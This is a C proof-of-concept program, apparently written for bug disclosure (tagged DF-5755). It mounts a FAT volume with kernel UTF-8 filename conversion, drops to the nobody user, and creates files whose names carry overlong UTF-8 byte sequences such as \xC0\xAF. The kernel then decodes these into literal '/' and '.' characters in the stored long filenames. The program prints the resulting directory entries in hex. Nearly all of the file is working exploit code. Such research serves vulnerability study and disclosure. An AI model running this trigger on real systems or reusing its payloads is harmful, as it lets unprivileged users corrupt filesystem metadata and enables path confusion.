DF-5755 / kiconv5755.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | /* DF-5755 — end-to-end msdosfs/KICONV trigger for overlong-UTF-8 acceptance * in sys/libiconv/iconv_ucs.c utf8_to_ucs4(). * * Mounts a FAT image with MSDOSFSMNT_KICONV and cs_local=cs_dos="UTF-8" * (pairs pre-registered by iconv_ucs_init(), sys/libiconv/iconv_ucs.c:377-383), * drops to uid nobody, then creates files whose raw component bytes contain * non-shortest UTF-8 sequences. The kernel decodes them in * unix2winchr() -> convchr(pm_u2w) -> iconv_ucs_conv() FROM_UTF8 branch * (sys/libiconv/iconv_ucs.c:193-230, utf8_to_ucs4 at :411-478 has no * shortest-form check) and writes the decoded characters into the on-disk * LFN via unix2winfn() (sys/vfs/msdosfs/msdosfs_conv.c:559-579, no * validation; the only '/' filter is on the read side, win2unixfn :669-713, * and only for literal pre-conversion units). * * Run as root: ./kiconv5755 mount <dev> <dir> * (creates files as nobody inside <dir>/pub, then lists) */ #include <sys/param.h> #include <sys/mount.h> #include <sys/iconv.h> #include <vfs/msdosfs/msdosfsmount.h> #include <dirent.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static const char *names[] = { "OV\xC0\xAF" "SLASH", /* 2-byte overlong U+002F -> LFN "OV/SLASH" */ "OV\xC0\xAE" "DOT", /* 2-byte overlong U+002E -> LFN "OV.DOT" */ "OV\xE0\x80\xAF" "S3", /* 3-byte overlong U+002F */ "plainok", /* control */ NULL }; static void listdir_hex(const char *path) { char buf[8192]; long basep = 0; int fd, n; fd = open(path, O_RDONLY); if (fd < 0) { warn("open %s", path); return; } printf("--- dirents of %s:\n", path); for (;;) { n = getdirentries(fd, buf, sizeof(buf), &basep); if (n <= 0) break; off_t off; for (off = 0; off < n;) { struct dirent *d = (struct dirent *)(buf + off); size_t i; printf(" namlen=%d name=\"", d->d_namlen); for (i = 0; i < d->d_namlen; i++) { unsigned char c = (unsigned char)d->d_name[i]; if (c >= 0x20 && c < 0x7f) putchar(c); else printf("\\x%02x", c); } printf("\"\n hex: "); for (i = 0; i < d->d_namlen; i++) printf("%02x ", (unsigned char)d->d_name[i]); printf("\n"); off += _DIRENT_DIRSIZ(d); } } close(fd); } int main(int argc, char **argv) { struct msdosfs_args args; char pub[512]; int i; if (argc != 4) errx(1, "usage: %s mount <dev> <dir>", argv[0]); memset(&args, 0, sizeof(args)); args.fspec = argv[2]; args.uid = 0; args.gid = 0; args.mask = 0777 & ALLPERMS; /* literal mode bits (not umask) */ args.dirmask = 0777 & ALLPERMS; args.flags = MSDOSFSMNT_KICONV | MSDOSFSMNT_LONGNAME; strlcpy(args.cs_local, "UTF-8", sizeof(args.cs_local)); strlcpy(args.cs_dos, "UTF-8", sizeof(args.cs_dos)); if (mount("msdos", argv[3], 0, &args) < 0) err(1, "mount msdos %s", argv[2]); printf("[+] mounted %s at %s (KICONV cs_local=UTF-8 cs_dos=UTF-8)\n", argv[2], argv[3]); snprintf(pub, sizeof(pub), "%s/pub", argv[3]); if (mkdir(pub, 0777) < 0 && errno != EEXIST) err(1, "mkdir %s", pub); chmod(pub, 0777); /* msdosfs chmod may EINVAL on no-op */ /* Drop all privilege: the metadata corruption must be reachable by an * unprivileged user with plain write access to the mounted volume. */ if (setgroups(0, NULL) < 0 || setgid(65534) < 0 || setuid(65534) < 0) err(1, "setuid(nobody)"); printf("[+] privileges dropped: uid=%d gid=%d\n", getuid(), getgid()); for (i = 0; names[i]; i++) { char path[1024]; size_t k; int fd; snprintf(path, sizeof(path), "%s/%s", pub, names[i]); fd = open(path, O_CREAT | O_WRONLY | O_EXCL, 0644); printf("[create %d] raw=\"", i); for (k = 0; names[i][k]; k++) { unsigned char c = (unsigned char)names[i][k]; if (c >= 0x20 && c < 0x7f) putchar(c); else printf("\\x%02x", c); } printf("\" -> %s (fd=%d errno-path=%s)\n", fd >= 0 ? "OK" : "FAIL", fd, fd >= 0 ? "-" : strerror(errno)); if (fd >= 0) { dprintf(fd, "x"); close(fd); } } /* Read the names back: shows what the kernel's own converter returns * for the metadata it just wrote. */ listdir_hex(pub); printf("[+] done (unmount from shell)\n"); return 0; } |